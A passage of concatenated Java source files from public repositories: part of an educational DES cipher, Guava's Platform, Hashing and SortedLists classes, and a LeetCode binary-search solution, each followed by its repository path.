XOR(expandedKey.toString(), key); StringBuilder substitutedString = new StringBuilder(); // Let us now use the s-boxes to transform each 6 bit (length here) block to 4 bits for (i = 0; i < 48; i += 6) { String block = mixedKey.substring(i, i + 6); int row = (block.charAt(0) - 48) * 2 + (block.charAt(5) - 48); int col = (block.charAt(1) - 48) * 8 + (block.charAt(2) - 48) * 4 + (block.charAt(3) - 48) * 2 + (block.charAt(4) - 48); String substitutedBlock = pad(Integer.toBinaryString(s[i / 6][row][col]), 4); substitutedString.append(substitutedBlock); } StringBuilder permutedString = new StringBuilder(); for (i = 0; i < 32; i++) { permutedString.append(substitutedString.charAt(permutation[i] - 1)); } return permutedString.toString(); } private String encryptBlock(String message, String[] keys) { StringBuilder permutedMessage = new StringBuilder(); int i; for (i = 0; i < 64; i++) { permutedMessage.append(message.charAt(IP[i] - 1)); } String L0 = permutedMessage.substring(0, 32), R0 = permutedMessage.substring(32); // Iterate 16 times for (i = 0; i < 16; i++) { String Ln = R0; // Previous Right block String Rn = XOR(L0, feistel(R0, keys[i])); L0 = Ln; R0 = Rn; } String combinedBlock = R0 + L0; // Reverse the 16th block permutedMessage.setLength(0); for (i = 0; i < 64; i++) { permutedMessage.append(combinedBlock.charAt(IPinverse[i] - 1)); } return permutedMessage.toString(); } // To decode, we follow the same process as encoding, but with reversed keys private String decryptBlock(String message, String[] keys) { String[] reversedKeys = new String[keys.length]; for (int i = 0; i < keys.length; i++) { reversedKeys[i] = keys[keys.length - i - 1]; } return encryptBlock(message, reversedKeys); } /** * @param message Message to be encrypted * @return The encrypted message, as a binary string */ public String encrypt(String message) { StringBuilder encryptedMessage = new StringBuilder(); int l = message.length(), i, j; if (l % 8 != 0) { int desiredLength = (l / 8 + 1) * 8; l = desiredLength; message = padLast(message, desiredLength); } for (i = 0; i < l; i += 8) { String block = message.substring(i, i + 8); StringBuilder bitBlock = new StringBuilder(); byte[] bytes = block.getBytes(); for (j = 0; j < 8; j++) { bitBlock.append(pad(Integer.toBinaryString(bytes[j]), 8)); } encryptedMessage.append(encryptBlock(bitBlock.toString(), subKeys)); } return encryptedMessage.toString(); } /** * @param message The encrypted string. Expects it to be a multiple of 64 bits, in binary format * @return The decrypted String, in plain English */ public String decrypt(String message) { StringBuilder decryptedMessage = new StringBuilder(); int l = message.length(), i, j; if (l % 64 != 0) { throw new IllegalArgumentException("Encrypted message should be a multiple of 64 characters in length"); } for (i = 0; i < l; i += 64) { String block = message.substring(i, i + 64); String result = decryptBlock(block.toString(), subKeys); byte[] res = new byte[8]; for (j = 0; j < 64; j += 8) { res[j / 8] = (byte) Integer.parseInt(result.substring(j, j + 8), 2); } decryptedMessage.append(new String(res)); } return decryptedMessage.toString().replace("\0", ""); // Get rid of the null bytes used for padding } }
TheAlgorithms/Java
src/main/java/com/thealgorithms/ciphers/DES.java
377
/* * Copyright (C) 2009 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.escape; import static java.util.Objects.requireNonNull; import com.google.common.annotations.GwtCompatible; /** * Methods factored out so that they can be emulated differently in GWT. * * @author Jesse Wilson */ @GwtCompatible(emulated = true) @ElementTypesAreNonnullByDefault final class Platform { private Platform() {} /** Returns a thread-local 1024-char array. */ static char[] charBufferFromThreadLocal() { // requireNonNull accommodates Android's @RecentlyNullable annotation on ThreadLocal.get return requireNonNull(DEST_TL.get()); } /** * A thread-local destination buffer to keep us from creating new buffers. The starting size is * 1024 characters. If we grow past this we don't put it back in the threadlocal, we just keep * going and grow as needed. */ private static final ThreadLocal<char[]> DEST_TL = new ThreadLocal<char[]>() { @Override protected char[] initialValue() { return new char[1024]; } }; }
google/guava
android/guava/src/com/google/common/escape/Platform.java
378
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.hash; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import com.google.errorprone.annotations.Immutable; import java.security.Key; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.Iterator; import java.util.List; import java.util.zip.Adler32; import java.util.zip.CRC32; import java.util.zip.Checksum; import javax.annotation.CheckForNull; import javax.crypto.spec.SecretKeySpec; /** * Static methods to obtain {@link HashFunction} instances, and other static hashing-related * utilities. * * <p>A comparison of the various hash functions can be found <a * href="http://goo.gl/jS7HH">here</a>. * * @author Kevin Bourrillion * @author Dimitris Andreou * @author Kurt Alfred Kluever * @since 11.0 */ @ElementTypesAreNonnullByDefault public final class Hashing { /** * Returns a general-purpose, <b>temporary-use</b>, non-cryptographic hash function. The algorithm * the returned function implements is unspecified and subject to change without notice. * * <p><b>Warning:</b> a new random seed for these functions is chosen each time the {@code * Hashing} class is loaded. <b>Do not use this method</b> if hash codes may escape the current * process in any way, for example being sent over RPC, or saved to disk. For a general-purpose, * non-cryptographic hash function that will never change behavior, we suggest {@link * #murmur3_128}. * * <p>Repeated calls to this method on the same loaded {@code Hashing} class, using the same value * for {@code minimumBits}, will return identically-behaving {@link HashFunction} instances. * * @param minimumBits a positive integer. This can be arbitrarily large. The returned {@link * HashFunction} instance may use memory proportional to this integer. * @return a hash function, described above, that produces hash codes of length {@code * minimumBits} or greater */ public static HashFunction goodFastHash(int minimumBits) { int bits = checkPositiveAndMakeMultipleOf32(minimumBits); if (bits == 32) { return Murmur3_32HashFunction.GOOD_FAST_HASH_32; } if (bits <= 128) { return Murmur3_128HashFunction.GOOD_FAST_HASH_128; } // Otherwise, join together some 128-bit murmur3s int hashFunctionsNeeded = (bits + 127) / 128; HashFunction[] hashFunctions = new HashFunction[hashFunctionsNeeded]; hashFunctions[0] = Murmur3_128HashFunction.GOOD_FAST_HASH_128; int seed = GOOD_FAST_HASH_SEED; for (int i = 1; i < hashFunctionsNeeded; i++) { seed += 1500450271; // a prime; shouldn't matter hashFunctions[i] = murmur3_128(seed); } return new ConcatenatedHashFunction(hashFunctions); } /** * Used to randomize {@link #goodFastHash} instances, so that programs which persist anything * dependent on the hash codes they produce will fail sooner. */ @SuppressWarnings("GoodTime") // reading system time without TimeSource static final int GOOD_FAST_HASH_SEED = (int) System.currentTimeMillis(); /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">32-bit murmur3 * algorithm, x86 variant</a> (little-endian variant), using the given seed value, <b>with a known * bug</b> as described in the deprecation text. * * <p>The C++ equivalent is the MurmurHash3_x86_32 function (Murmur3A), which however does not * have the bug. * * @deprecated This implementation produces incorrect hash values from the {@link * HashFunction#hashString} method if the string contains non-BMP characters. Use {@link * #murmur3_32_fixed(int)} instead. */ @Deprecated public static HashFunction murmur3_32(int seed) { return new Murmur3_32HashFunction(seed, /* supplementaryPlaneFix= */ false); } /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">32-bit murmur3 * algorithm, x86 variant</a> (little-endian variant), using the given seed value, <b>with a known * bug</b> as described in the deprecation text. * * <p>The C++ equivalent is the MurmurHash3_x86_32 function (Murmur3A), which however does not * have the bug. * * @deprecated This implementation produces incorrect hash values from the {@link * HashFunction#hashString} method if the string contains non-BMP characters. Use {@link * #murmur3_32_fixed()} instead. */ @Deprecated public static HashFunction murmur3_32() { return Murmur3_32HashFunction.MURMUR3_32; } /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">32-bit murmur3 * algorithm, x86 variant</a> (little-endian variant), using the given seed value. * * <p>The exact C++ equivalent is the MurmurHash3_x86_32 function (Murmur3A). * * <p>This method is called {@code murmur3_32_fixed} because it fixes a bug in the {@code * HashFunction} returned by the original {@code murmur3_32} method. * * @since 31.0 */ public static HashFunction murmur3_32_fixed(int seed) { return new Murmur3_32HashFunction(seed, /* supplementaryPlaneFix= */ true); } /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">32-bit murmur3 * algorithm, x86 variant</a> (little-endian variant), using a seed value of zero. * * <p>The exact C++ equivalent is the MurmurHash3_x86_32 function (Murmur3A). * * <p>This method is called {@code murmur3_32_fixed} because it fixes a bug in the {@code * HashFunction} returned by the original {@code murmur3_32} method. * * @since 31.0 */ public static HashFunction murmur3_32_fixed() { return Murmur3_32HashFunction.MURMUR3_32_FIXED; } /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">128-bit murmur3 * algorithm, x64 variant</a> (little-endian variant), using the given seed value. * * <p>The exact C++ equivalent is the MurmurHash3_x64_128 function (Murmur3F). */ public static HashFunction murmur3_128(int seed) { return new Murmur3_128HashFunction(seed); } /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">128-bit murmur3 * algorithm, x64 variant</a> (little-endian variant), using a seed value of zero. * * <p>The exact C++ equivalent is the MurmurHash3_x64_128 function (Murmur3F). */ public static HashFunction murmur3_128() { return Murmur3_128HashFunction.MURMUR3_128; } /** * Returns a hash function implementing the <a href="https://131002.net/siphash/">64-bit * SipHash-2-4 algorithm</a> using a seed value of {@code k = 00 01 02 ...}. * * @since 15.0 */ public static HashFunction sipHash24() { return SipHashFunction.SIP_HASH_24; } /** * Returns a hash function implementing the <a href="https://131002.net/siphash/">64-bit * SipHash-2-4 algorithm</a> using the given seed. * * @since 15.0 */ public static HashFunction sipHash24(long k0, long k1) { return new SipHashFunction(2, 4, k0, k1); } /** * Returns a hash function implementing the MD5 hash algorithm (128 hash bits). * * @deprecated If you must interoperate with a system that requires MD5, then use this method, * despite its deprecation. But if you can choose your hash function, avoid MD5, which is * neither fast nor secure. As of January 2017, we suggest: * <ul> * <li>For security: * {@link Hashing#sha256} or a higher-level API. * <li>For speed: {@link Hashing#goodFastHash}, though see its docs for caveats. * </ul> */ @Deprecated public static HashFunction md5() { return Md5Holder.MD5; } private static class Md5Holder { static final HashFunction MD5 = new MessageDigestHashFunction("MD5", "Hashing.md5()"); } /** * Returns a hash function implementing the SHA-1 algorithm (160 hash bits). * * @deprecated If you must interoperate with a system that requires SHA-1, then use this method, * despite its deprecation. But if you can choose your hash function, avoid SHA-1, which is * neither fast nor secure. As of January 2017, we suggest: * <ul> * <li>For security: * {@link Hashing#sha256} or a higher-level API. * <li>For speed: {@link Hashing#goodFastHash}, though see its docs for caveats. * </ul> */ @Deprecated public static HashFunction sha1() { return Sha1Holder.SHA_1; } private static class Sha1Holder { static final HashFunction SHA_1 = new MessageDigestHashFunction("SHA-1", "Hashing.sha1()"); } /** Returns a hash function implementing the SHA-256 algorithm (256 hash bits). */ public static HashFunction sha256() { return Sha256Holder.SHA_256; } private static class Sha256Holder { static final HashFunction SHA_256 = new MessageDigestHashFunction("SHA-256", "Hashing.sha256()"); } /** * Returns a hash function implementing the SHA-384 algorithm (384 hash bits). * * @since 19.0 */ public static HashFunction sha384() { return Sha384Holder.SHA_384; } private static class Sha384Holder { static final HashFunction SHA_384 = new MessageDigestHashFunction("SHA-384", "Hashing.sha384()"); } /** Returns a hash function implementing the SHA-512 algorithm (512 hash bits). */ public static HashFunction sha512() { return Sha512Holder.SHA_512; } private static class Sha512Holder { static final HashFunction SHA_512 = new MessageDigestHashFunction("SHA-512", "Hashing.sha512()"); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * MD5 (128 hash bits) hash function and the given secret key. * * <p>If you are designing a new system that needs HMAC, prefer {@link #hmacSha256} or other * future-proof algorithms <a * href="https://datatracker.ietf.org/doc/html/rfc6151#section-2.3">over {@code hmacMd5}</a>. * * @param key the secret key * @throws IllegalArgumentException if the given key is inappropriate for initializing this MAC * @since 20.0 */ public static HashFunction hmacMd5(Key key) { return new MacHashFunction("HmacMD5", key, hmacToString("hmacMd5", key)); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * MD5 (128 hash bits) hash function and a {@link SecretKeySpec} created from the given byte array * and the MD5 algorithm. * * <p>If you are designing a new system that needs HMAC, prefer {@link #hmacSha256} or other * future-proof algorithms <a * href="https://datatracker.ietf.org/doc/html/rfc6151#section-2.3">over {@code hmacMd5}</a>. * * @param key the key material of the secret key * @since 20.0 */ public static HashFunction hmacMd5(byte[] key) { return hmacMd5(new SecretKeySpec(checkNotNull(key), "HmacMD5")); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-1 (160 hash bits) hash function and the given secret key. * * @param key the secret key * @throws IllegalArgumentException if the given key is inappropriate for initializing this MAC * @since 20.0 */ public static HashFunction hmacSha1(Key key) { return new MacHashFunction("HmacSHA1", key, hmacToString("hmacSha1", key)); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-1 (160 hash bits) hash function and a {@link SecretKeySpec} created from the given byte * array and the SHA-1 algorithm. * * @param key the key material of the secret key * @since 20.0 */ public static HashFunction hmacSha1(byte[] key) { return hmacSha1(new SecretKeySpec(checkNotNull(key), "HmacSHA1")); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-256 (256 hash bits) hash function and the given secret key. * * @param key the secret key * @throws IllegalArgumentException if the given key is inappropriate for initializing this MAC * @since 20.0 */ public static HashFunction hmacSha256(Key key) { return new MacHashFunction("HmacSHA256", key, hmacToString("hmacSha256", key)); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-256 (256 hash bits) hash function and a {@link SecretKeySpec} created from the given byte * array and the SHA-256 algorithm. * * @param key the key material of the secret key * @since 20.0 */ public static HashFunction hmacSha256(byte[] key) { return hmacSha256(new SecretKeySpec(checkNotNull(key), "HmacSHA256")); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-512 (512 hash bits) hash function and the given secret key. * * @param key the secret key * @throws IllegalArgumentException if the given key is inappropriate for initializing this MAC * @since 20.0 */ public static HashFunction hmacSha512(Key key) { return new MacHashFunction("HmacSHA512", key, hmacToString("hmacSha512", key)); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-512 (512 hash bits) hash function and a {@link SecretKeySpec} created from the given byte * array and the SHA-512 algorithm. * * @param key the key material of the secret key * @since 20.0 */ public static HashFunction hmacSha512(byte[] key) { return hmacSha512(new SecretKeySpec(checkNotNull(key), "HmacSHA512")); } private static String hmacToString(String methodName, Key key) { return "Hashing." + methodName + "(Key[algorithm=" + key.getAlgorithm() + ", format=" + key.getFormat() + "])"; } /** * Returns a hash function implementing the CRC32C checksum algorithm (32 hash bits) as described * by RFC 3720, Section 12.1. * * <p>This function is best understood as a <a * href="https://en.wikipedia.org/wiki/Checksum">checksum</a> rather than a true <a * href="https://en.wikipedia.org/wiki/Hash_function">hash function</a>. * * @since 18.0 */ public static HashFunction crc32c() { return Crc32cHashFunction.CRC_32_C; } /** * Returns a hash function implementing the CRC-32 checksum algorithm (32 hash bits). * * <p>To get the {@code long} value equivalent to {@link Checksum#getValue()} for a {@code * HashCode} produced by this function, use {@link HashCode#padToLong()}. * * <p>This function is best understood as a <a * href="https://en.wikipedia.org/wiki/Checksum">checksum</a> rather than a true <a * href="https://en.wikipedia.org/wiki/Hash_function">hash function</a>. * * @since 14.0 */ public static HashFunction crc32() { return ChecksumType.CRC_32.hashFunction; } /** * Returns a hash function implementing the Adler-32 checksum algorithm (32 hash bits). * * <p>To get the {@code long} value equivalent to {@link Checksum#getValue()} for a {@code * HashCode} produced by this function, use {@link HashCode#padToLong()}. * * <p>This function is best understood as a <a * href="https://en.wikipedia.org/wiki/Checksum">checksum</a> rather than a true <a * href="https://en.wikipedia.org/wiki/Hash_function">hash function</a>. * * @since 14.0 */ public static HashFunction adler32() { return ChecksumType.ADLER_32.hashFunction; } @Immutable enum ChecksumType implements ImmutableSupplier<Checksum> { CRC_32("Hashing.crc32()") { @Override public Checksum get() { return new CRC32(); } }, ADLER_32("Hashing.adler32()") { @Override public Checksum get() { return new Adler32(); } }; public final HashFunction hashFunction; ChecksumType(String toString) { this.hashFunction = new ChecksumHashFunction(this, 32, toString); } } /** * Returns a hash function implementing FarmHash's Fingerprint64, an open-source algorithm. * * <p>This is designed for generating persistent fingerprints of strings. It isn't * cryptographically secure, but it produces a high-quality hash with fewer collisions than some * alternatives we've used in the past. * * <p>FarmHash fingerprints are encoded by {@link HashCode#asBytes} in little-endian order. This * means {@link HashCode#asLong} is guaranteed to return the same value that * farmhash::Fingerprint64() would for the same input (when compared using {@link * com.google.common.primitives.UnsignedLongs}'s encoding of 64-bit unsigned numbers). * * <p>This function is best understood as a <a * href="https://en.wikipedia.org/wiki/Fingerprint_(computing)">fingerprint</a> rather than a true * <a href="https://en.wikipedia.org/wiki/Hash_function">hash function</a>. * * @since 20.0 */ public static HashFunction farmHashFingerprint64() { return FarmHashFingerprint64.FARMHASH_FINGERPRINT_64; } /** * Returns a hash function implementing the Fingerprint2011 hashing function (64 hash bits). * * <p>This is designed for generating persistent fingerprints of strings. It isn't * cryptographically secure, but it produces a high-quality hash with few collisions. Fingerprints * generated using this are byte-wise identical to those created using the C++ version, but note * that this uses unsigned integers (see {@link com.google.common.primitives.UnsignedInts}). * Comparisons between the two should take this into account. * * <p>Fingerprint2011() is a form of Murmur2 on strings up to 32 bytes and a form of CityHash for * longer strings. It could have been one or the other throughout. The main advantage of the * combination is that CityHash has a bunch of special cases for short strings that don't need to * be replicated here. The result will never be 0 or 1. * * <p>This function is best understood as a <a * href="https://en.wikipedia.org/wiki/Fingerprint_(computing)">fingerprint</a> rather than a true * <a href="https://en.wikipedia.org/wiki/Hash_function">hash function</a>. * * @since 31.1 */ public static HashFunction fingerprint2011() { return Fingerprint2011.FINGERPRINT_2011; } /** * Assigns to {@code hashCode} a "bucket" in the range {@code [0, buckets)}, in a uniform manner * that minimizes the need for remapping as {@code buckets} grows. That is, {@code * consistentHash(h, n)} equals: * * <ul> * <li>{@code n - 1}, with approximate probability {@code 1/n} * <li>{@code consistentHash(h, n - 1)}, otherwise (probability {@code 1 - 1/n}) * </ul> * * <p>This method is suitable for the common use case of dividing work among buckets that meet the * following conditions: * * <ul> * <li>You want to assign the same fraction of inputs to each bucket. * <li>When you reduce the number of buckets, you can accept that the most recently added * buckets will be removed first. More concretely, if you are dividing traffic among tasks, * you can decrease the number of tasks from 15 and 10, killing off the final 5 tasks, and * {@code consistentHash} will handle it. If, however, you are dividing traffic among * servers {@code alpha}, {@code bravo}, and {@code charlie} and you occasionally need to * take each of the servers offline, {@code consistentHash} will be a poor fit: It provides * no way for you to specify which of the three buckets is disappearing. Thus, if your * buckets change from {@code [alpha, bravo, charlie]} to {@code [bravo, charlie]}, it will * assign all the old {@code alpha} traffic to {@code bravo} and all the old {@code bravo} * traffic to {@code charlie}, rather than letting {@code bravo} keep its traffic. * </ul> * * <p>See the <a href="http://en.wikipedia.org/wiki/Consistent_hashing">Wikipedia article on * consistent hashing</a> for more information. */ public static int consistentHash(HashCode hashCode, int buckets) { return consistentHash(hashCode.padToLong(), buckets); } /** * Assigns to {@code input} a "bucket" in the range {@code [0, buckets)}, in a uniform manner that * minimizes the need for remapping as {@code buckets} grows. That is, {@code consistentHash(h, * n)} equals: * * <ul> * <li>{@code n - 1}, with approximate probability {@code 1/n} * <li>{@code consistentHash(h, n - 1)}, otherwise (probability {@code 1 - 1/n}) * </ul> * * <p>This method is suitable for the common use case of dividing work among buckets that meet the * following conditions: * * <ul> * <li>You want to assign the same fraction of inputs to each bucket. * <li>When you reduce the number of buckets, you can accept that the most recently added * buckets will be removed first. More concretely, if you are dividing traffic among tasks, * you can decrease the number of tasks from 15 and 10, killing off the final 5 tasks, and * {@code consistentHash} will handle it. If, however, you are dividing traffic among * servers {@code alpha}, {@code bravo}, and {@code charlie} and you occasionally need to * take each of the servers offline, {@code consistentHash} will be a poor fit: It provides * no way for you to specify which of the three buckets is disappearing. Thus, if your * buckets change from {@code [alpha, bravo, charlie]} to {@code [bravo, charlie]}, it will * assign all the old {@code alpha} traffic to {@code bravo} and all the old {@code bravo} * traffic to {@code charlie}, rather than letting {@code bravo} keep its traffic. * </ul> * * <p>See the <a href="http://en.wikipedia.org/wiki/Consistent_hashing">Wikipedia article on * consistent hashing</a> for more information. */ public static int consistentHash(long input, int buckets) { checkArgument(buckets > 0, "buckets must be positive: %s", buckets); LinearCongruentialGenerator generator = new LinearCongruentialGenerator(input); int candidate = 0; int next; // Jump from bucket to bucket until we go out of range while (true) { next = (int) ((candidate + 1) / generator.nextDouble()); if (next >= 0 && next < buckets) { candidate = next; } else { return candidate; } } } /** * Returns a hash code, having the same bit length as each of the input hash codes, that combines * the information of these hash codes in an ordered fashion. That is, whenever two equal hash * codes are produced by two calls to this method, it is <i>as likely as possible</i> that each * was computed from the <i>same</i> input hash codes in the <i>same</i> order. * * @throws IllegalArgumentException if {@code hashCodes} is empty, or the hash codes do not all * have the same bit length */ public static HashCode combineOrdered(Iterable<HashCode> hashCodes) { Iterator<HashCode> iterator = hashCodes.iterator(); checkArgument(iterator.hasNext(), "Must be at least 1 hash code to combine."); int bits = iterator.next().bits(); byte[] resultBytes = new byte[bits / 8]; for (HashCode hashCode : hashCodes) { byte[] nextBytes = hashCode.asBytes(); checkArgument( nextBytes.length == resultBytes.length, "All hashcodes must have the same bit length."); for (int i = 0; i < nextBytes.length; i++) { resultBytes[i] = (byte) (resultBytes[i] * 37 ^ nextBytes[i]); } } return HashCode.fromBytesNoCopy(resultBytes); } /** * Returns a hash code, having the same bit length as each of the input hash codes, that combines * the information of these hash codes in an unordered fashion. That is, whenever two equal hash * codes are produced by two calls to this method, it is <i>as likely as possible</i> that each * was computed from the <i>same</i> input hash codes in <i>some</i> order. * * @throws IllegalArgumentException if {@code hashCodes} is empty, or the hash codes do not all * have the same bit length */ public static HashCode combineUnordered(Iterable<HashCode> hashCodes) { Iterator<HashCode> iterator = hashCodes.iterator(); checkArgument(iterator.hasNext(), "Must be at least 1 hash code to combine."); byte[] resultBytes = new byte[iterator.next().bits() / 8]; for (HashCode hashCode : hashCodes) { byte[] nextBytes = hashCode.asBytes(); checkArgument( nextBytes.length == resultBytes.length, "All hashcodes must have the same bit length."); for (int i = 0; i < nextBytes.length; i++) { resultBytes[i] += nextBytes[i]; } } return HashCode.fromBytesNoCopy(resultBytes); } /** Checks that the passed argument is positive, and ceils it to a multiple of 32. */ static int checkPositiveAndMakeMultipleOf32(int bits) { checkArgument(bits > 0, "Number of bits must be positive"); return (bits + 31) & ~31; } /** * Returns a hash function which computes its hash code by concatenating the hash codes of the * underlying hash functions together. This can be useful if you need to generate hash codes of a * specific length. * * <p>For example, if you need 1024-bit hash codes, you could join two {@link Hashing#sha512} hash * functions together: {@code Hashing.concatenating(Hashing.sha512(), Hashing.sha512())}. * * @since 19.0 */ public static HashFunction concatenating( HashFunction first, HashFunction second, HashFunction... rest) { // We can't use Lists.asList() here because there's no hash->collect dependency List<HashFunction> list = new ArrayList<>(); list.add(first); list.add(second); Collections.addAll(list, rest); return new ConcatenatedHashFunction(list.toArray(new HashFunction[0])); } /** * Returns a hash function which computes its hash code by concatenating the hash codes of the * underlying hash functions together. This can be useful if you need to generate hash codes of a * specific length. * * <p>For example, if you need 1024-bit hash codes, you could join two {@link Hashing#sha512} hash * functions together: {@code Hashing.concatenating(Hashing.sha512(), Hashing.sha512())}. * * @since 19.0 */ public static HashFunction concatenating(Iterable<HashFunction> hashFunctions) { checkNotNull(hashFunctions); // We can't use Iterables.toArray() here because there's no hash->collect dependency List<HashFunction> list = new ArrayList<>(); for (HashFunction hashFunction : hashFunctions) { list.add(hashFunction); } checkArgument(!list.isEmpty(), "number of hash functions (%s) must be > 0", list.size()); return new ConcatenatedHashFunction(list.toArray(new HashFunction[0])); } private static final class ConcatenatedHashFunction extends AbstractCompositeHashFunction { private ConcatenatedHashFunction(HashFunction... functions) { super(functions); for (HashFunction function : functions) { checkArgument( function.bits() % 8 == 0, "the number of bits (%s) in hashFunction (%s) must be divisible by 8", function.bits(), function); } } @Override HashCode makeHash(Hasher[] hashers) { byte[] bytes = new byte[bits() / 8]; int i = 0; for (Hasher hasher : hashers) { HashCode newHash = hasher.hash(); i += newHash.writeBytesTo(bytes, i, newHash.bits() / 8); } return HashCode.fromBytesNoCopy(bytes); } @Override public int bits() { int bitSum = 0; for (HashFunction function : functions) { bitSum += function.bits(); } return bitSum; } @Override public boolean equals(@CheckForNull Object object) { if (object instanceof ConcatenatedHashFunction) { ConcatenatedHashFunction other = (ConcatenatedHashFunction) object; return Arrays.equals(functions, other.functions); } return false; } @Override public int hashCode() { return Arrays.hashCode(functions); } } /** * Linear CongruentialGenerator to use for consistent hashing. See * http://en.wikipedia.org/wiki/Linear_congruential_generator */ private static final class LinearCongruentialGenerator { private long state; public LinearCongruentialGenerator(long seed) { this.state = seed; } public double nextDouble() { state = 2862933555777941757L * state + 1; return ((double) ((int) (state >>> 33) + 1)) / 0x1.0p31; } } private Hashing() {} }
google/guava
android/guava/src/com/google/common/hash/Hashing.java
379
//时间复杂度:O(lon(n)) //空间复杂度:O(1) class Solution2 { public int searchInsert(int[] nums, int target) { if (target>nums[nums.length-1]) { return nums.length; } int left=0; int right=nums.length-1; while (left < right) { int mid = (left + right) / 2; if (nums[mid] < target) { left = mid + 1; } else { right = mid; } } return left; } }
MisterBooo/LeetCodeAnimation
0035-search-insert-position/Code/2.java
381
/* * Copyright (C) 2010 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.collect; import static com.google.common.base.Preconditions.checkNotNull; import com.google.common.annotations.GwtCompatible; import com.google.common.base.Function; import java.util.Collections; import java.util.Comparator; import java.util.List; import java.util.RandomAccess; import org.checkerframework.checker.nullness.qual.Nullable; /** * Static methods pertaining to sorted {@link List} instances. * * <p>In this documentation, the terms <i>greatest</i>, <i>greater</i>, <i>least</i>, and * <i>lesser</i> are considered to refer to the comparator on the elements, and the terms * <i>first</i> and <i>last</i> are considered to refer to the elements' ordering in a list. * * @author Louis Wasserman */ @GwtCompatible @ElementTypesAreNonnullByDefault final class SortedLists { private SortedLists() {} /** * A specification for which index to return if the list contains at least one element that * compares as equal to the key. */ enum KeyPresentBehavior { /** * Return the index of any list element that compares as equal to the key. No guarantees are * made as to which index is returned, if more than one element compares as equal to the key. */ ANY_PRESENT { @Override <E extends @Nullable Object> int resultIndex( Comparator<? super E> comparator, @ParametricNullness E key, List<? extends E> list, int foundIndex) { return foundIndex; } }, /** Return the index of the last list element that compares as equal to the key. */ LAST_PRESENT { @Override <E extends @Nullable Object> int resultIndex( Comparator<? super E> comparator, @ParametricNullness E key, List<? extends E> list, int foundIndex) { // Of course, we have to use binary search to find the precise // breakpoint... int lower = foundIndex; int upper = list.size() - 1; // Everything between lower and upper inclusive compares at >= 0. while (lower < upper) { int middle = (lower + upper + 1) >>> 1; int c = comparator.compare(list.get(middle), key); if (c > 0) { upper = middle - 1; } else { // c == 0 lower = middle; } } return lower; } }, /** Return the index of the first list element that compares as equal to the key. */ FIRST_PRESENT { @Override <E extends @Nullable Object> int resultIndex( Comparator<? super E> comparator, @ParametricNullness E key, List<? extends E> list, int foundIndex) { // Of course, we have to use binary search to find the precise // breakpoint... int lower = 0; int upper = foundIndex; // Of course, we have to use binary search to find the precise breakpoint... // Everything between lower and upper inclusive compares at <= 0. while (lower < upper) { int middle = (lower + upper) >>> 1; int c = comparator.compare(list.get(middle), key); if (c < 0) { lower = middle + 1; } else { // c == 0 upper = middle; } } return lower; } }, /** * Return the index of the first list element that compares as greater than the key, or {@code * list.size()} if there is no such element. */ FIRST_AFTER { @Override public <E extends @Nullable Object> int resultIndex( Comparator<? super E> comparator, @ParametricNullness E key, List<? extends E> list, int foundIndex) { return LAST_PRESENT.resultIndex(comparator, key, list, foundIndex) + 1; } }, /** * Return the index of the last list element that compares as less than the key, or {@code -1} * if there is no such element. */ LAST_BEFORE { @Override public <E extends @Nullable Object> int resultIndex( Comparator<? super E> comparator, @ParametricNullness E key, List<? extends E> list, int foundIndex) { return FIRST_PRESENT.resultIndex(comparator, key, list, foundIndex) - 1; } }; abstract <E extends @Nullable Object> int resultIndex( Comparator<? super E> comparator, @ParametricNullness E key, List<? extends E> list, int foundIndex); } /** * A specification for which index to return if the list contains no elements that compare as * equal to the key. */ enum KeyAbsentBehavior { /** * Return the index of the next lower element in the list, or {@code -1} if there is no such * element. */ NEXT_LOWER { @Override int resultIndex(int higherIndex) { return higherIndex - 1; } }, /** * Return the index of the next higher element in the list, or {@code list.size()} if there is * no such element. */ NEXT_HIGHER { @Override public int resultIndex(int higherIndex) { return higherIndex; } }, /** * Return {@code ~insertionIndex}, where {@code insertionIndex} is defined as the point at which * the key would be inserted into the list: the index of the next higher element in the list, or * {@code list.size()} if there is no such element. * * <p>Note that the return value will be {@code >= 0} if and only if there is an element of the * list that compares as equal to the key. * * <p>This is equivalent to the behavior of 